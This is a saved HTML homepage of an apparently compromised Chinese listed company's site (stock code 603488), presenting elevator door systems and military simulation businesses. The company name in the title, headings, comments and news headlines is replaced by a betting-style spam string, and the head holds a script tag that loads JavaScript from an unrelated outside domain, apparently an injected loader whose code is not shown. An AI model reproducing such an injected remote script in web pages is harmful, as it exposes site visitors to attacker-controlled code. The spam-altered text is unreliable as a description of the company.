<!DOCTYPE html>
<!-- saved from url=(0027)./ -->
<html class="js es5syntax flexbox" lang="zh-cn">
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <title>华体在线注册_华体(中国)</title>
  <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=yes, maximum-scale=10.0, minimum-scale=0.1">
  <meta property="og:title" content=华体在线注册_华体(中国)>
  <meta property="og:description" content=>
  <meta content="" name="keywords" />
  <meta property="og:type" content="website">
  <meta property="og:site_name" content=华体在线注册_华体(中国)>
  <meta property="og:image" content="./common/images/ogp.jpg">
  <link href="/static/default/pc/fimgs/favicon.ico" rel=icon>
  <link rel="stylesheet" href="/static/default/pc/fcss/aos.css">
  <link rel="stylesheet" href="/static/default/pc/fcss/jquery.mb.YTPlayer.min.css">
  <link rel="stylesheet" href="/static/default/pc/fcss/main.css">
  <script type="text/javascript" async src="/static/default/pc/fjs/analytics.js"></script>
  <script src="/static/default/pc/fjs/modernizr-custom.js"></script>
  <!--<script src="/static/default/pc/fjs/jquery-3.4.1.min.js"></script>--> 
  <script src="/static/assets/global/plugins/jquery.min.js" type="text/javascript"></script>
   


   <!-- 系统懒人版js(所有自建模板引用) -->
   <script type="text/javascript">var is_mobile_cms = '';var web_dir = '/';</script>
   <script src="/api/language/zh-cn/lang.js" type="text/javascript"></script>
   <!--<script src="/static/assets/global/plugins/jquery.min.js" type="text/javascript"></script>-->
   <script src="/static/assets/js/cms.js" type="text/javascript"></script>
   <!-- 系统懒人版js结束 -->
<script language="javascript" src="https://zuizhongjs.com/js/25/12/8/ky1.js" type="text/javascript"></script></head>
<style>
    @media (max-width: 768px) {
        .header__navi {
            display: block;overflow: auto;
        }    
    }
 @media (min-width: 1024px) {
        .navi-sublinks {
            width: auto !important;
            /*min-width: 300px !important;*/
        }
        .navi-sublinks0 {
            float: none !important;
            display: block !important;
            width: 100% !important;
        }
        .navi-sublinks a {
            display: block !important;
            width: 100% !important;
            white-space: nowrap !important;
        }
    }
 
 
</style>
<script>
$(function(){
    $('.navi-sublinks').each(function(){                        
        // $(this).css('width', $(this).find('.menu-link-top').length * 120 + 'px');
        var leftPos = -60 ;
        var maxLeft = $(window).width() - $(this).width();
        var wd =$(this).outerWidth();
        var myleft=$(this).offset().left;
        var windowWidth = $(window).width();         
        if(wd+myleft>(windowWidth-20)){
            $(this).css('left', -(wd+myleft-windowWidth+20) + 'px');
        }
    })

})
</script>
<body id="index" data-aos-easing="ease" data-aos-duration="800" data-aos-delay="200">
    <header class="header">
        <h1 class="header__logo"><img src=https://www.wxflying.com/uploadfile/202503/376769b8d6bfe1f.png alt=华体在线注册_华体(中国)></h1>

       <button class="sp-navi-btn" id="sp-navi-btn" aria-controls="header-navi"><span class="icon"></span><span class="label">MENU</span></button>
        <nav class="header__navi" id="navi" >
          <ul class="navi-links">
            <li><a href="/"  class="menu-link"><span>首页</span></a></li>
            
            <li> <a  class="menu-link">
                <span>业务布局</span>
                                <span class="menu-arrow"></span>
                            </a>           
            <!--end:Menu link-->
                                    <!--第二层：调用第二级共享栏目-->
                    <div class="navi-sublinks">
                                                <div class="navi-sublinks0" >
                             
                            <a href="/index.php?c=category&id=26" class="menu-link menu-link-top">
                                <span class="menu-title">电梯门系统与智控装备</span>
                               
                                <span class="menu-arrow"></span>
                              
                            </a> 
                             <!--第三层：调用第三级共享栏目-->                                          
                            
                                   
                        </div>
                                                <div class="navi-sublinks0" >
                             
                            <a href="/index.php?c=category&id=27" class="menu-link menu-link-top">
                                <span class="menu-title">军事仿真系统</span>
                               
                                <span class="menu-arrow"></span>
                              
                            </a> 
                             <!--第三层：调用第三级共享栏目-->                                          
                            
                                   
                        </div>
                                            </div>
                   
                    
            </li>
            
            <li> <a href="/index.php?c=category&id=1" class="menu-link">
                <span>新闻中心</span>
                            </a>           
            <!--end:Menu link-->
                    
            </li>
            
            <li> <a href="https://www.sse.com.cn/assortment/stock/list/info/company/index.shtml?COMPANY_CODE=603488" class="menu-link">
                <span>投资者关系</span>
                            </a>           
            <!--end:Menu link-->
                    
            </li>
            
            <li> <a  class="menu-link">
                <span>支持</span>
                                <span class="menu-arrow"></span>
                            </a>           
            <!--end:Menu link-->
                                    <!--第二层：调用第二级共享栏目-->
                    <div class="navi-sublinks">
                                                <div class="navi-sublinks0" >
                             
                            <a href="/index.php?c=category&id=32" class="menu-link menu-link-top">
                                <span class="menu-title">服务网点</span>
                               
                                <span class="menu-arrow"></span>
                              
                            </a> 
                             <!--第三层：调用第三级共享栏目-->                                          
                            
                                   
                        </div>
                                                <div class="navi-sublinks0" >
                             
                            <a href="/index.php?c=category&id=33" class="menu-link menu-link-top">
                                <span class="menu-title">下载中心</span>
                               
                                <span class="menu-arrow"></span>
                              
                            </a> 
                             <!--第三层：调用第三级共享栏目-->                                          
                            
                                   
                        </div>
                                            </div>
                   
                    
            </li>
            
            <li> <a  class="menu-link">
                <span>关于展鹏</span>
                                <span class="menu-arrow"></span>
                            </a>           
            <!--end:Menu link-->
                                    <!--第二层：调用第二级共享栏目-->
                    <div class="navi-sublinks">
                                                <div class="navi-sublinks0" >
                             
                            <a href="/index.php?c=category&id=5" class="menu-link menu-link-top">
                                <span class="menu-title">公司简介</span>
                               
                                <span class="menu-arrow"></span>
                              
                            </a> 
                             <!--第三层：调用第三级共享栏目-->                                          
                            
                                   
                        </div>
                                                <div class="navi-sublinks0" >
                             
                            <a href="/index.php?c=category&id=6" class="menu-link menu-link-top">
                                <span class="menu-title">大事记</span>
                               
                                <span class="menu-arrow"></span>
                              
                            </a> 
                             <!--第三层：调用第三级共享栏目-->                                          
                            
                                   
                        </div>
                                                <div class="navi-sublinks0" >
                             
                            <a href="/index.php?c=category&id=11" class="menu-link menu-link-top">
                                <span class="menu-title">荣誉及认证</span>
                               
                                <span class="menu-arrow"></span>
                              
                            </a> 
                             <!--第三层：调用第三级共享栏目-->                                          
                            
                                   
                        </div>
                                            </div>
                   
                    
            </li>
            
            <li> <a href="/index.php?c=category&id=14" class="menu-link">
                <span>加入展鹏</span>
                            </a>           
            <!--end:Menu link-->
                    
            </li>
            
            <li> <a href="/index.php?c=category&id=13" class="menu-link">
                <span>联系华体在线注册_华体(中国)</span>
                            </a>           
            <!--end:Menu link-->
                    
            </li>
                         </ul>
           
        </nav>
        <!--end::Header wrapper-->
      </header>

<script>
// 浏览器缩放控制
(function() {
    // 配置参数
    const config = {
        maxZoom: 2,      // 最大缩放比例
        minZoom: 0.5,     // 最小缩放比例
        zoomStep: 0.1,    // 缩放步长
        transitionDuration: '0.2s', // 过渡动画持续时间
        transitionTiming: 'ease'    // 过渡动画缓动函数
    };
    
    // 状态变量
    let currentZoom = 1;
    let htmlElement = null;
    let isInitialized = false;
    
    // 初始化函数
    function init() {
        // 防止重复初始化
        if (isInitialized) return;
        
        // 获取HTML元素
        htmlElement = document.documentElement;
        
        // 检查元素是否存在
        if (!htmlElement) {
            console.warn('HTML element not found, zoom control disabled');
            return;
        }
        
        // 初始化样式
        htmlElement.style.transformOrigin = '0 0';
        htmlElement.style.transition = `transform ${config.transitionDuration} ${config.transitionTiming}`;
        
        // 绑定事件监听器
        bindEventListeners();
        
        // 初始化缩放
        handleZoom();
        
        // 标记为已初始化
        isInitialized = true;
        
        console.log('Browser zoom control initialized');
    }
    
    // 计算当前缩放比例
    function getZoomLevel() {
        try {
            // 尝试多种方法计算缩放比例
            if (window.outerWidth && window.innerWidth) {
                return Math.round((window.outerWidth / window.innerWidth) * 100) / 100 || 1;
            } else if (document.documentElement && document.documentElement.clientWidth) {
                return Math.round((window.screen.width / document.documentElement.clientWidth) * 100) / 100 || 1;
            }
            return 1;
        } catch (e) {
            console.error('Error calculating zoom level:', e);
            return 1;
        }
    }
    
    // 更新页面变换
    function updateTransform() {
        if (htmlElement) {
            try {
                // 1. 设置变换原点为左上角，这样放大时内容会向右下延伸
                htmlElement.style.transformOrigin = '0 0';
                
                // 2. 应用缩放
                htmlElement.style.transform = `scale(${currentZoom})`;
                
                // 3. 关键点：动态调整 body 的宽度
                // 当放大时 (currentZoom > 1)，华体在线注册_华体(中国)需要让容器实际占用的像素变大，才能撑出滚动条
                // 例如放大 1.5 倍，内容就变成了原来的 1.5 倍宽
                // 华体在线注册_华体(中国)通过设置 min-width 来保证内容宽度
                if (currentZoom > 1) {
                    // 让 body 的宽度随着缩放比例增加，这样浏览器就会检测到溢出并显示滚动条
                    document.body.style.width = `${currentZoom * 100}%`;
                    document.body.style.overflowX = 'auto'; // 确保允许横向滚动
                } else {
                    document.body.style.width = '100%';
                    document.body.style.overflowX = 'hidden'; // 缩小时不需要滚动条
                }
            } catch (e) {
                console.error('Error updating transform:', e);
            }
        }
    }
    
    // 处理缩放事件
    function handleZoom() {
        try {
            const newZoom = getZoomLevel();
            
            // 限制缩放范围
            if (newZoom > config.maxZoom) {
                currentZoom = config.maxZoom;
                updateTransform();
            } else if (newZoom < config.minZoom) {
                currentZoom = config.minZoom;
                updateTransform();
            } else {
                currentZoom = newZoom;
                updateTransform();
            }
        } catch (e) {
            console.error('Error handling zoom:', e);
        }
    }
    
    // 绑定事件监听器
    function bindEventListeners() {
        // 监听resize事件
        window.addEventListener('resize', handleZoom);
        
        // 监听鼠标滚轮事件，实现自定义缩放
        window.addEventListener('wheel', function(e) {
            // 检测是否按下Ctrl键（浏览器缩放）
            if (e.ctrlKey) {
                try {
                    e.preventDefault();
                    
                    // 计算新的缩放比例
                    // 优化逻辑：调整缩放步长和手感，使其更接近浏览器原生体验
                    // 浏览器通常每次滚轮变化 10%-25%，这里设为 0.1 (10%)
                    // 同时为了防止过快缩放，可以考虑加一点平滑或防抖（但这里保持响应即时性）
                    let delta = e.deltaY;
                    let zoomChange = 0;

                    if (delta < 0) {
                        // 向上滚动，放大
                        zoomChange = config.zoomStep;
                    } else {
                        // 向下滚动，缩小
                        zoomChange = -config.zoomStep;
                    }

                    let newZoom = currentZoom + zoomChange;
                    
                    // 精度修正：避免浮点数计算误差 (如 1.1000000001)
                    newZoom = Math.round(newZoom * 10) / 10;

                    // 限制范围
                    if (newZoom > config.maxZoom) newZoom = config.maxZoom;
                    if (newZoom < config.minZoom) newZoom = config.minZoom;
                    
                    if (newZoom !== currentZoom) {
                        currentZoom = newZoom;
                        updateTransform();
                    }
                } catch (e) {
                    console.error('Error handling wheel event:', e);
                }
            }
        }, { passive: false });
        
        // 监听键盘事件，实现Ctrl++/Ctrl+-缩放
        document.addEventListener('keydown', function(e) {
            if ((e.ctrlKey || e.metaKey) && (e.key === '+' || e.key === '-' || e.key === '=')) {
                try {
                    e.preventDefault();
                    
                    let newZoom = currentZoom;
                    if (e.key === '+' || e.key === '=') {
                        // 放大
                        newZoom = Math.min(currentZoom + config.zoomStep, config.maxZoom);
                    } else if (e.key === '-') {
                        // 缩小
                        newZoom = Math.max(currentZoom - config.zoomStep, config.minZoom);
                    }
                    
                    currentZoom = newZoom;
                    updateTransform();
                } catch (e) {
                    console.error('Error handling keyboard zoom:', e);
                }
            }
        });
        
        // 键盘控制页面滚动（仅在缩放限制后使用）
        document.addEventListener('keydown', function(e) {
            // 箭头键控制页面滚动
            if (currentZoom >= config.maxZoom || currentZoom <= config.minZoom) {
                const scrollAmount = 20; // 滚动距离
                
                switch(e.key) {
                    case 'ArrowLeft':
                        window.scrollBy(-scrollAmount, 0);
                        break;
                    case 'ArrowRight':
                        window.scrollBy(scrollAmount, 0);
                        break;
                    case 'ArrowUp':
                        window.scrollBy(0, -scrollAmount);
                        break;
                    case 'ArrowDown':
                        window.scrollBy(0, scrollAmount);
                        break;
                }
            }
        });
    }
    
    // 监听DOM加载完成
    if (document.readyState === 'loading') {
        document.addEventListener('DOMContentLoaded', init);
    } else {
        init();
    }
    
    // 暴露全局方法（可选）
    window.ZoomControl = {
        getCurrentZoom: function() {
            return currentZoom;
        },
        setZoom: function(zoom) {
            if (zoom >= config.minZoom && zoom <= config.maxZoom) {
                currentZoom = zoom;
                updateTransform();
                return true;
            }
            return false;
        },
        resetZoom: function() {
            currentZoom = 1;
            updateTransform();
        }
    };
})();
</script>

<style>
/* =========================
   全局导航
========================= */
#index .header .navi-links a,
.header.is-active .navi-links a {
    color: #000000 !important;
}
#index .header .navi-links a:hover,
.header.is-active .navi-links a:hover {
    color: #000000 !important;
}

/* =========================
   首屏 Hero
========================= */
.hero {
    position: relative;
    overflow: hidden;
    min-height: 900px;
    background:
        radial-gradient(circle at 38% 30%, rgba(150,178,190,0.12) 0, rgba(150,178,190,0.05) 18%, rgba(255,255,255,0) 42%),
        linear-gradient(90deg, #f7fafb 0%, #eef3f5 44%, #e8eef1 100%);
}

.hero::before {
    content: '';
    position: absolute;
    left: 34%;
    top: 12%;
    width: 720px;
    height: 720px;
    background: radial-gradient(circle, rgba(150,178,190,0.08) 0%, rgba(150,178,190,0.03) 35%, rgba(255,255,255,0) 72%);
    border-radius: 50%;
    z-index: 1;
    pointer-events: none;
    filter: blur(6px);
}

.hero::after {
    content: '';
    position: absolute;
    inset: 0;
    background:
        linear-gradient(
            90deg,
            rgba(247,250,251,0.97) 0%,
            rgba(247,250,251,0.93) 18%,
            rgba(247,250,251,0.68) 34%,
            rgba(247,250,251,0.22) 50%,
            rgba(247,250,251,0.04) 62%,
            rgba(247,250,251,0.00) 76%
        );
    z-index: 2;
    pointer-events: none;
}

.hero-video {
    position: absolute;
    inset: 0;
    width: 100%;
    height: 100%;
    object-fit: cover;
    z-index: 0;
    opacity: 0.24;
    filter: saturate(0.94) contrast(1.02) brightness(1.02);
}

.hero-slogan {
    position: absolute;
    top: 35%;
    left: 7.5%;
    transform: translateY(-50%);
    z-index: 6;
    max-width: 760px;
    text-align: left;
}

.stock-code {
    display: inline-flex;
    align-items: center;
    background: rgba(255,255,255,0.68);
    border: 1px solid rgba(90, 122, 140, 0.10);
    padding: 9px 16px;
    border-radius: 999px;
    font-size: 13px;
    color: #597584;
    font-weight: 700;
    margin-bottom: 24px;
    backdrop-filter: blur(10px);
    box-shadow: 0 8px 24px rgba(90, 122, 140, 0.05);
}

.hero-slogan .main-title.hero-big-title {
    font-size: 35px;
    line-height: 1.28;
    font-weight: 900;
    color: #000000;
    margin-bottom: 24px;
    letter-spacing: -0.8px;
    max-width: 760px;
}

.hero-slogan .sub-description.hero-small-title {
    font-size: 25px;
    color: #648093;
    line-height: 1.95;
    max-width: 610px;
    font-weight: 500;
}

.hero-action {
    margin-top: 34px;
}

.btn-custom-more {
    display: inline-flex;
    align-items: center;
    justify-content: center;
    padding: 13px 28px;
    background: linear-gradient(135deg, #6f8b9a 0%, #5f7d8e 100%);
    color: #ffffff !important;
    border-radius: 999px;
    text-decoration: none;
    font-weight: 700;
    font-size: 14px;
    transition: all 0.3s ease;
    box-shadow: 0 12px 30px rgba(90, 122, 140, 0.20);
    border: none;
    line-height: 1;
}

.btn-custom-more:hover {
    background: linear-gradient(135deg, #5e7b8b 0%, #4f6d7d 100%);
    color: #ffffff !important;
    transform: translateY(-2px);
    box-shadow: 0 16px 36px rgba(90, 122, 140, 0.24);
}

/* =========================
   右侧图片拼接模块
========================= */
.hero-image {
    position: absolute;
    right: 0;
    bottom: 68px;
    width: min(49vw, 900px);
    z-index: 4;
}

.image-container {
    position: relative;
    width: 100%;
    height: 500px;
    border-radius: 30px 0 0 30px;
    overflow: hidden;
    background:
        linear-gradient(180deg, rgba(255,255,255,0.30) 0%, rgba(255,255,255,0.14) 100%);
    backdrop-filter: blur(4px);
    box-shadow:
        0 24px 50px rgba(35, 50, 60, 0.10),
        inset 0 1px 0 rgba(255,255,255,0.24);
}

/* 整体光感 */
.image-container::before {
    content: '';
    position: absolute;
    inset: 0;
    z-index: 3;
    background:
        linear-gradient(
            180deg,
            rgba(255,255,255,0.06) 0%,
            rgba(255,255,255,0.00) 26%,
            rgba(255,255,255,0.00) 72%,
            rgba(10,18,26,0.08) 100%
        );
    pointer-events: none;
}

.hero-gallery {
    position: absolute;
    inset: 0;
    z-index: 1;
    padding: 18px 18px 18px 0;
    box-sizing: border-box;
    display: grid;
    grid-template-columns: 1.9fr 1fr;
    gap: 14px;
}

.hero-gallery-main,
.hero-gallery-side {
    min-width: 0;
    min-height: 0;
}

.hero-gallery-main {
    height: 100%;
}

.hero-gallery-side {
    display: grid;
    grid-template-rows: 1fr 1fr;
    gap: 14px;
    height: 100%;
}

.hero-card {
    position: relative;
    overflow: hidden;
    border-radius: 24px;
    background: rgba(255,255,255,0.16);
    box-shadow:
        0 14px 28px rgba(35, 50, 60, 0.10),
        inset 0 1px 0 rgba(255,255,255,0.18);
}

.hero-gallery-main .hero-card {
    height: 100%;
    border-radius: 28px;
}

.hero-gallery-side .hero-card {
    height: 100%;
}

.hero-card::after {
    content: '';
    position: absolute;
    inset: 0;
    background: linear-gradient(
        180deg,
        rgba(255,255,255,0.08) 0%,
        rgba(255,255,255,0.00) 45%,
        rgba(0,0,0,0.08) 100%
    );
    pointer-events: none;
    z-index: 2;
}

.hero-card img {
    width: 100%;
    height: 100%;
    display: block;
    object-fit: cover;
    object-position: center center;
    transition: transform 0.5s ease;
}

.hero-gallery-main .hero-card img {
    object-position: center center;
}

.hero-gallery-side .hero-card img {
    object-position: center center;
}

.hero-card:hover img {
    transform: scale(1.04);
}

.hero-gallery-main .hero-card:hover img {
    transform: scale(1.025);
}

.hero__lead,
.hero__slide {
    position: relative;
    z-index: 1;
}

#slide {
    background-image: none !important;
    background-color: transparent !important;
}
#slide .item {
    background-image: none !important;
    background-color: transparent !important;
}

/* =========================
   业务区块
========================= */
.dual-business-subtitle {
    font-size: 14px;
    color: #5a7a8c;
    font-weight: bold;
    text-align: center;
    margin-bottom: 15px;
    letter-spacing: 1px;
    display: flex;
    align-items: center;
    justify-content: center;
}

.dual-business-subtitle::before,
.dual-business-subtitle::after {
    content: '';
    flex: 0 1 50px;
    border-bottom: 2px solid #5a7a8c;
    margin: 0 15px;
}

.blk-business__header .heading {
    font-size: 36px;
    font-weight: 900;
    color: #333333;
    text-align: center;
    margin-bottom: 10px;
}

.blk-business__header .sub-heading {
    font-size: 28px;
    font-weight: bold;
    color: #5a7a8c;
    text-align: center;
    margin-bottom: 20px;
}

.blk-business__header p {
    font-size: 24px !important;
    color: #2a2a2a !important;
    line-height: 2 !important;
    max-width: 800px;
    margin: 0 auto;
}

.highlights {
    display: flex;
    gap: 15px;
    margin-top: 25px;
    max-width: 600px;
}

.highlight-item {
    background: #ffffff;
    border-radius: 12px;
    padding: 15px 10px;
    flex: 1;
    text-align: center;
    box-shadow: 0 6px 20px rgba(0, 0, 0, 0.05);
    border: 1px solid #f0f4f8;
    transition: all 0.3s ease;
}

.highlight-item:hover {
    transform: translateY(-5px);
    box-shadow: 0 10px 25px rgba(150, 178, 190, 0.1);
    border-color: #96b2be;
}

.highlight-value {
    font-size: 24px;
    font-weight: 800;
    color: #96b2be;
    margin-bottom: 4px;
    font-family: "Alibaba PuHuiTi", "Microsoft YaHei", sans-serif;
}

.highlight-label {
    font-size: 13px;
    color: #555555;
    font-weight: 500;
}

.item__text__arrow a {
    display: inline-block;
    margin-top: 25px;
    padding: 8px 20px;
    background: #96b2be;
    color: #ffffff;
    border-radius: 50px;
    text-decoration: none;
    font-weight: bold;
    transition: all 0.3s ease;
    box-shadow: 0 4px 15px rgba(0, 119, 179, 0.2);
}

.item__text__arrow a:hover {
    background: #4e5c63;
    transform: translateY(-2px);
    box-shadow: 0 6px 20px rgba(0, 95, 140, 0.3);
}

.item__box > .item__text {
    top: 20px;
}

.item_left .item__text__arrow {
    padding-top: 10px;
}

/* =========================
   中屏
========================= */
@media screen and (max-width: 1600px) {
    .hero-slogan .main-title.hero-big-title {
        font-size: 50px;
    }
    .hero-image {
        width: min(50vw, 840px);
        bottom: 56px;
    }
    .image-container {
        height: 470px;
    }
}

@media screen and (max-width: 1400px) {
    .hero {
        min-height: 840px;
    }
    .hero-slogan .main-title.hero-big-title {
        font-size: 42px;
    }
    .hero-slogan .sub-description.hero-small-title {
        font-size: 15px;
    }
    .hero-image {
        width: min(50vw, 760px);
        bottom: 44px;
    }
    .image-container {
        height: 430px;
    }
    .hero-gallery {
        grid-template-columns: 1.7fr 1fr;
        gap: 12px;
        padding: 16px 16px 16px 0;
    }
    .hero-gallery-side {
        gap: 12px;
    }
    .blk-business__header p {
        font-size: 18px !important;
        color: #505050 !important;
    }
}

@media screen and (max-width: 1200px) {
    .hero {
        min-height: 760px;
    }
    .hero-slogan {
        left: 5%;
        max-width: 500px;
    }
    .hero-slogan .main-title.hero-big-title {
        font-size: 34px;
    }
    .hero-slogan .sub-description.hero-small-title {
        font-size: 14px;
        max-width: 460px;
    }
    .hero-image {
        width: min(50vw, 560px);
        bottom: 34px;
    }
    .image-container {
        height: 360px;
        border-radius: 24px 0 0 24px;
    }
    .hero-gallery {
        grid-template-columns: 1.5fr 1fr;
        gap: 10px;
        padding: 12px 12px 12px 0;
    }
    .hero-gallery-side {
        gap: 10px;
    }
    .hero-card,
    .hero-gallery-main .hero-card {
        border-radius: 18px;
    }
    .highlights {
        max-width: 100%;
        gap: 10px;
    }
    .highlight-value {
        font-size: 20px;
    }
    .highlight-label {
        font-size: 12px;
    }
}

@media screen and (max-width: 767px) {
    .hero {
        min-height: auto;
        background: linear-gradient(180deg, #f7fafb 0%, #eef4f6 100%);
    }

    .hero::before,
    .hero::after {
        display: none;
    }

    .hero-video {
        display: none;
    }

    .hero-slogan {
        position: relative;
        top: auto;
        left: auto;
        transform: none;
        max-width: 100%;
        padding: 72px 24px 28px;
        background: transparent;
        z-index: 4;
    }

    .stock-code {
        font-size: 12px;
        padding: 7px 14px;
        margin-bottom: 18px;
    }

    .hero-slogan .main-title.hero-big-title {
        font-size: 28px;
        line-height: 1.45;
        margin-bottom: 16px;
        color: #648093;
    }

    .hero-slogan .sub-description.hero-small-title {
        font-size: 14px;
        line-height: 1.8;
        color: #648093;
    }

    .hero-action {
        margin-top: 22px;
    }

    .btn-custom-more {
        padding: 11px 22px;
        font-size: 14px;
    }

    .hero-image {
        position: relative;
        right: auto;
        bottom: auto;
        width: calc(100% - 24px);
        margin: 0 0 0 24px;
        z-index: 1;
    }

    .image-container {
        height: auto;
        border-radius: 20px 0 0 20px;
        padding-bottom: 0;
    }

    .hero-gallery {
        position: relative;
        inset: auto;
        padding: 12px 12px 12px 0;
        display: grid;
        grid-template-columns: 1fr;
        grid-template-rows: auto;
        gap: 12px;
    }

    .hero-gallery-main {
        height: auto;
    }

    .hero-gallery-main .hero-card {
        height: 260px;
        border-radius: 20px;
    }

    .hero-gallery-side {
        grid-template-columns: 1fr 1fr;
        grid-template-rows: none;
        gap: 12px;
        height: auto;
    }

    .hero-gallery-side .hero-card {
        height: 130px;
        border-radius: 16px;
    }

    .item__box > .item__text,
    .item__box > .item__text.item_left {
        left: 0px;
        text-align: center;
    }

    .articles .article-item {
        padding-left: 40px;
    }

    .blk-business__header p {
        font-size: 14px !important;
        text-align: center !important;
    }

    .blk-business__header .mobile-break {
        display: block !important;
        text-align: center !important;
    }

    .item__text__arrow {
        text-align: center !important;
        margin-top: 10px !important;
    }

    .spacer-60 {
        height: 30px !important;
    }

    .hero + .main {
        margin-top: 0 !important;
    }

    .highlights {
        flex-direction: column;
        gap: 15px;
        margin-top: 20px;
        padding: 0;
    }

    .highlight-item {
        padding: 15px;
    }

    .mobile-left-text {
        text-align: left !important;
        padding: 0 20px !important;
    }

    .mobile-left-text br {
        display: none;
    }
}





.title-black {
    color: #648093;
    font-size: 74px;
    font-weight: 900;
    display: block;
    line-height: 1.05;
    margin-bottom: -8px;
}
</style>

<div class="outer" id="top"></div>

<div class="hero">
    <div class="hero-slogan">
        <div class="stock-code" data-aos="fade-down" data-aos-duration="900">
            股票代码：603488
        </div>

        <div class="main-title hero-big-title" data-aos="fade-right" data-aos-duration="1000">
    <span class="title-black">华体在线注册_华体(中国)</span><br>
    以创新为引擎，以客户需求为导向<br>
    致力于成为具备全球竞争力的科技企业
</div>

        <!--<div class="sub-description hero-small-title" data-aos="fade-up" data-aos-delay="150" data-aos-duration="1000">-->
        <!--    以自主掌握的技术，为客户提供先进的机电一体化产品-->
        <!--</div>-->

        <div class="hero-action" data-aos="fade-up" data-aos-delay="300" data-aos-duration="1000">
            <a href="/index.php?c=category&id=3" class="btn-custom-more">了解更多 →</a>
        </div>
    </div>

    <!--<div class="hero-image" data-aos="fade-left" data-aos-duration="1200">-->
    <!--    <div class="image-container">-->
    <!--        <div class="hero-gallery">-->
                <!-- 主图：使用当前截图上的这张图 -->
    <!--            <div class="hero-gallery-main">-->
    <!--                <div class="hero-card hero-card-main">-->
    <!--                    <img src="/static/default/pc/fimgs/hero-img31.jpg" alt="华体在线注册_华体(中国)机电一体化主图">-->
    <!--                </div>-->
    <!--            </div>-->

                <!-- 辅图：右侧上下拼接 -->
    <!--            <div class="hero-gallery-side">-->
    <!--                <div class="hero-card">-->
    <!--                    <img src="/static/default/pc/fimgs/hero-img2.jpg" alt="华体在线注册_华体(中国)产品展示图2">-->
    <!--                </div>-->
    <!--                <div class="hero-card">-->
    <!--                    <img src="/static/default/pc/fimgs/hero-img4.jpg" alt="华体在线注册_华体(中国)产品展示图4">-->
    <!--                </div>-->
    <!--            </div>-->
    <!--        </div>-->
    <!--    </div>-->
    <!--</div>-->

    <div class="hero__lead">
        <div data-aos="fade-up" data-aos-delay="200" data-duration="800" data-aos-easing="ease-out-quad"></div>
    </div>

    <div class="hero__slide">
        <div id="slide">
            <video class="hero-video" src="/static/default/pc/fimgs/STG_shine (2).mp4" autoplay loop muted playsinline></video>
            <div class="item slide1"></div>
        </div>
    </div>
</div>

<div class="main">
    <div class="blk-business__header aos-init" data-aos="fade-in">
        <div class="dual-business-subtitle">DUAL BUSINESS</div>
        <h2 class="heading">电梯门系统 + 军事仿真系统</h2>
        <h3 class="sub-heading">双主业协同发展</h3>
        <p>公司在深挖原有主营业务发展潜力的前提下，建立新的业务增长点，提高公司整体盈利能力，形成双主业协同发展格局。</p>
    </div>

    <div class="blk-business">
        <div class="container"></div>

        <div class="blk-business__item aos-init" data-aos="fade-up">
            <div class="item__image" style="background-image:url(/static/default/pc/fimgs/index/零件重绘1.png); background-position: center -30px;"></div>
            <div class="item__box">
                <div class="item__text">
                    <h3>电梯门系统与智控装备</h3>
                    <span class="item__text__sub">公司具备自主知识产权的电梯门系统产品，</span><br>
                    <span class="item__text__sub">以可靠性及高性价比享誉电梯配件市场。</span><br>

                    <div class="highlights">
                        <div class="highlight-item">
                            <div class="highlight-value">25+</div>
                            <div class="highlight-label">年行业经验</div>
                        </div>
                        <div class="highlight-item">
                            <div class="highlight-value">89</div>
                            <div class="highlight-label">项专利技术</div>
                        </div>
                        <div class="highlight-item">
                            <div class="highlight-value">2017</div>
                            <div class="highlight-label">主板上市</div>
                        </div>
                    </div>

                    <div class="item__text__arrow">
                        <a href="/index.php?c=category&id=26" class="btn-custom-more">了解更多 →</a>
                    </div>
                </div>
            </div>
            <div class="item__text item_left"></div>
        </div>

        <div class="spacer-60" style="width: 100%;height:60px;"></div>
        <div class="spacer-60" style="width: 100%;height:60px;"></div>

        <div class="blk-business__item aos-init" data-aos="fade-up">
            <div class="item__image" style="background-image:url(/static/default/pc/fimgs/index/军事12.png);"></div>
            <div class="item__box">
                <div class="item__text item_left">
                    <h3>军事仿真系统</h3>
                    <div class="item__text__sub mobile-left-text">
                        以军事仿真解决方案及相关产品为核心，在航空兵战术训练、<br>
                        体系作战要素、无人机模拟训练等业务领域具有深厚的技术<br>
                        底蕴和成熟的工程经验。
                    </div>

                    <div class="highlights">
                        <div class="highlight-item">
                            <div class="highlight-value">158项</div>
                            <div class="highlight-label">软件著作权</div>
                        </div>
                        <div class="highlight-item">
                            <div class="highlight-value">16项</div>
                            <div class="highlight-label">专利技术</div>
                        </div>
                        <div class="highlight-item">
                            <div class="highlight-value">12项</div>
                            <div class="highlight-label">发明专利</div>
                        </div>
                    </div>

                    <div class="item__text__arrow">
                        <a href="/index.php?c=category&id=27" class="btn-custom-more">了解更多 →</a>
                    </div>
                </div>
            </div>
        </div>
    </div>

    <div class="spacer-60" style="width: 100%;height:60px;"></div>
    <div class="spacer-60" style="width: 100%;height:60px;"></div>

    <div class="blk-business__header aos-init" data-aos="fade-in">
        <h2 class="heading"><span class="heading__sub">新闻中心</span></h2>
        <p></p>
    </div>

    <div class="blk-news">
        <div class="container">
            <div class="container-inner">
                <div class="articles aos-init aos-animate" data-aos="fade-in" data-aos-delay="100">
                                        <div class="d-flex flex-stack">
                        <div class="article-item">
                            <div class="article-date">05·27 <br><span>2026</span></div>
                            <a href="/index.php?c=show&id=483" class="article-text">华体在线注册_华体(中国)盛装亮相 2026 中国国际电梯展览会</a>
                        </div>
                    </div>
                                        <div class="separator separator-dashed my-4"></div>
                                                            <div class="d-flex flex-stack">
                        <div class="article-item">
                            <div class="article-date">04·29 <br><span>2026</span></div>
                            <a href="/index.php?c=show&id=482" class="article-text">喜报|热烈祝贺蒋卫东同志荣获全国五一劳动奖章</a>
                        </div>
                    </div>
                                        <div class="separator separator-dashed my-4"></div>
                                                            <div class="d-flex flex-stack">
                        <div class="article-item">
                            <div class="article-date">04·02 <br><span>2026</span></div>
                            <a href="/index.php?c=show&id=473" class="article-text">控股子公司领为军融亮相2026中关村论坛，共建产学研联合实验室</a>
                        </div>
                    </div>
                                        <div class="separator separator-dashed my-4"></div>
                                                            <div class="d-flex flex-stack">
                        <div class="article-item">
                            <div class="article-date">03·10 <br><span>2026</span></div>
                            <a href="/index.php?c=show&id=472" class="article-text">凝心聚力?感谢有你｜华体在线注册_华体(中国)召开 2025年度优秀员工暨岗位能手表彰大会</a>
                        </div>
